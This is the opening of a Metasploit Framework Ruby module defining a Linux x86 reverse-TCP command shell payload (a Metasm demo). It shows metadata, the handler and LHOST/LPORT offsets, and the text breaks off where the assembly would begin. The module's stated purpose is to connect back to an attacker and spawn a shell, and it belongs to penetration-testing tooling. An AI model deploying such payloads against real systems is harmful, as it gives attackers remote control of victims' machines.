# $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'metasm' require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Single include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) # Remark: this function seems to be called a LOT, even before the shellcode is used. # We would better implement some caching. # We decoded skape's shellcode by using irb -r metasm-shell # and: puts shellcode.decode super(merge_info(info, 'Name' => 'Linux Command Shell, Reverse TCP Inline - Metasm demo', 'Version' => '$Revision$', 'Description' => 'Connect back to attacker and spawn a command shell', 'Author' => ['skape', 'Yoann Guillot', 'Julien Tinnes '], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseTcp, 'Session' => Msf::Sessions::CommandShell, 'Payload' => { 'Offsets' => { 'LHOST' => [ 0, 'ADDR' ], 'LPORT' => [ 0, 'n' ], }, 'Assembly' => <